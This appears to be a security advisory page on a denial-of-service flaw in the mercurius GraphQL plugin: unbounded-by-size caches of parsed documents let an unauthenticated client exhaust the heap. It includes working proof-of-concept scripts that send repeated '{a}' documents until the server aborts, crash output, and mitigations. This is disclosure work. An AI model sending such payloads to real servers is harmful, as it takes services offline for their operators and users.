
PEACH
Uma estrutura de isolamento de inquilino
Package: mercurius
Reproduced on: 16.12.1 on fastify 5.12.8 with graphql 16.15.0, Node 22.22.3, default app.register(mercurius, { schema, resolvers })
Weakness: CWE-770 (allocation of resources without limits or throttling)
Impact: an unauthenticated client can abort the server process.
Mercurius keeps two LRU caches keyed by the full query string: one for parsed documents and one for validation errors. The error cache stores the whole parsed document alongside the errors. Both are bounded only by entry count (1,024), not by size.
A document of the form {a}{a}{a}… is cheap to send but its parsed form is several hundred times larger than its text. Each distinct 1 MB document of that shape, which is within Fastify's default body limit, leaves about 430 MB on the heap after garbage collection. The tenth request aborts the process with "JavaScript heap out of memory".
Line numbers are from node_modules/mercurius/index.js in 16.12.1.
:103-105: new QuickLRU({ maxSize: 1024 }), an entry-count bound only.:157-158: two caches are built, lru and lruErrors.:565-571: both are looked up by source, the query string.:622: lruErrors.set(source, { document, validationErrors }) keeps the parsed document for queries that failed validation.:640: the document cache stores valid documents the same way.
The requests below return HTTP 200 with a validation error ("This anonymous operation must be the only defined operation"), so the client never needs a valid operation. A code comment near :569 describes the error cache as protection against denial of service.node poc-large-document-memory.mjs mercurius 1040000 12 starts the server in a child process, sends documents of {a} repeated to about 1 MB (each made unique with a trailing comment), and prints the server's heap after a forced garbage collection.
mercurius: server on 127.0.0.1:59132, baseline heap 18 MB
request 1 (1.0 MB sent in total): HTTP 200 … | heap after GC: 447 MB
request 2 (2.1 MB sent in total): HTTP 200 … | heap after GC: 876 MB
request 3 (3.1 MB sent in total): HTTP 200 … | heap after GC: 1304 MB
request 4 (4.2 MB sent in total): HTTP 200 … | heap after GC: 1733 MB
request 5 (5.2 MB sent in total): HTTP 200 … | heap after GC: 2162 MB
request 6 (6.2 MB sent in total): HTTP 200 … | heap after GC: 2591 MB
request 7 (7.3 MB sent in total): HTTP 200 … | heap after GC: 3020 MB
request 8 (8.3 MB sent in total): HTTP 200 … | heap after GC: 3448 MB
request 9 (9.4 MB sent in total): HTTP 200 … | heap after GC: 3877 MB
request 10 (10.4 MB sent in total): request failed: UND_ERR_SOCKET | heap after GC: server gone
SERVER PROCESS EXITED: code=null signal=SIGABRT
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memoryA second reviewer reproduced this independently (the server died on the ninth request in that run, about 412 MB retained per request) and confirmed that with cache: false the heap stays flat at 14–16 MB. A single-operation document { a a a … } retained about 242 MB per request.
Dependencies: graphql@16.15.0, graphql-yoga@6.1.0, @apollo/server@5.5.2, mercurius@16.12.1, fastify@5.12.8. Node 22.22.3 with the default heap limit (about 4 GB).
:622).maxTokens when parsing, so a 1 MB document of tiny tokens is rejected early.cache: false, at the cost of re-parsing every request.cache size together with a lower Fastify bodyLimit.graphql.parseOptions.maxTokens.queryDepth was not enforced over WebSocket, an earlier case of a denial-of-service control with a gap.maxTokens parser option exists because parsing cost is not bounded by request size; it is off by default.servers.mjs// Child process: starts one server and reports its port and heap usage to the parent over IPC.
// Usage (spawned by poc-large-document-memory.mjs): node --expose-gc servers.mjs <yoga|yoga-nocache|apollo|mercurius>
import { createServer } from 'node:http';
const kind = process.argv[2];
const typeDefs = 'type Query { a: Int }';
const resolvers = { Query: { a: () => 1 } };
let port;
if (kind === 'yoga' || kind === 'yoga-nocache') {
const { createYoga, createSchema } = await import('graphql-yoga');
const yoga = createYoga({
schema: createSchema({ typeDefs, resolvers }),
logging: false,
...(kind === 'yoga-nocache' ? { parserAndValidationCache: false } : {}),
});
const server = createServer(yoga);
await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve));
port = server.address().port;
} else if (kind === 'apollo') {
const { ApolloServer } = await import('@apollo/server');
const { startStandaloneServer } = await import('@apollo/server/standalone');
const server = new ApolloServer({ typeDefs, resolvers });
const { url } = await startStandaloneServer(server, { listen: { port: 0, host: '127.0.0.1' } });
port = Number(new URL(url).port);
} else if (kind === 'mercurius') {
const { default: Fastify } = await import('fastify');
const { default: mercurius } = await import('mercurius');
const app = Fastify();
app.register(mercurius, { schema: typeDefs, resolvers });
await app.listen({ port: 0, host: '127.0.0.1' });
port = app.server.address().port;
}
process.on('message', (message) => {
if (message === 'heap') {
globalThis.gc();
process.send({ heapMB: Math.round(process.memoryUsage().heapUsed / 1e6) });
}
});
process.send({ port });poc-large-document-memory.mjs// Sends documents made of many tiny operations to a default-configured server and reports
// the server's heap after each request (after a forced GC) and how the server process ended.
// Usage: node poc-large-document-memory.mjs <yoga|yoga-nocache|apollo|mercurius> <documentBytes> <requests>
import { fork } from 'node:child_process';
const [kind = 'yoga', bytes = '2000000', requests = '8'] = process.argv.slice(2);
const child = fork(new URL('./servers.mjs', import.meta.url), [kind], { execArgv: ['--expose-gc'], stdio: ['ignore', 'ignore', 'pipe', 'ipc'] });
child.setMaxListeners(0);
let stderr = '';
child.stderr.on('data', (chunk) => (stderr += chunk));
let exited = null;
child.on('exit', (code, signal) => (exited = { code, signal }));
const once = (match) => new Promise((resolve) => {
const handler = (message) => { if (match(message)) { child.off('message', handler); resolve(message); } };
child.on('message', handler);
child.on('exit', () => resolve(null));
});
const { port } = await once((m) => 'port' in m);
const heap = async () => { child.send('heap'); const m = await once((m) => 'heapMB' in m); return m ? m.heapMB : null; };
console.log(`${kind}: server on 127.0.0.1:${port}, baseline heap ${await heap()} MB`);
let sent = 0;
for (let i = 1; i <= Number(requests) && !exited; i++) {
// "{a}{a}{a}…" is many anonymous operations: valid syntax, rejected only after parsing. The comment makes each document unique.
const query = '{a}'.repeat(Math.floor(Number(bytes) / 3)) + ` #${i}`;
const body = JSON.stringify({ query });
sent += body.length;
let outcome;
try {
const response = await fetch(`http://127.0.0.1:${port}/graphql`, { method: 'POST', headers: { 'content-type': 'application/json' }, body });
outcome = `HTTP ${response.status} ${(await response.text()).slice(0, 80).replace(/\s+/g, ' ')}`;
} catch (error) {
outcome = `request failed: ${error.cause?.code ?? error.message}`;
}
await new Promise((resolve) => setTimeout(resolve, 300));
const heapMB = exited ? null : await heap();
console.log(`request ${i} (${(sent / 1e6).toFixed(1)} MB sent in total): ${outcome} | heap after GC: ${heapMB === null ? 'server gone' : heapMB + ' MB'}`);
}
await new Promise((resolve) => setTimeout(resolve, 500));
if (exited) {
console.log(`SERVER PROCESS EXITED: code=${exited.code} signal=${exited.signal}`);
console.log((stderr.match(/FATAL ERROR[^\n]*/) ?? ['(no fatal error line captured)'])[0]);
} else {
console.log('server still running');
child.kill();
}Origem: NVD
Avaliação Gratuita de Vulnerabilidades
Avalie suas práticas de segurança em nuvem em 9 domínios de segurança para avaliar seu nível de risco e identificar lacunas em suas defesas.
Marque uma demonstração personalizada
"A melhor experiência do usuário que eu já vi, fornece visibilidade total para cargas de trabalho na nuvem."
"A Wiz fornece um único painel de vidro para ver o que está acontecendo em nossos ambientes de nuvem."
"Sabemos que se a Wiz identifica algo como crítico, na verdade é."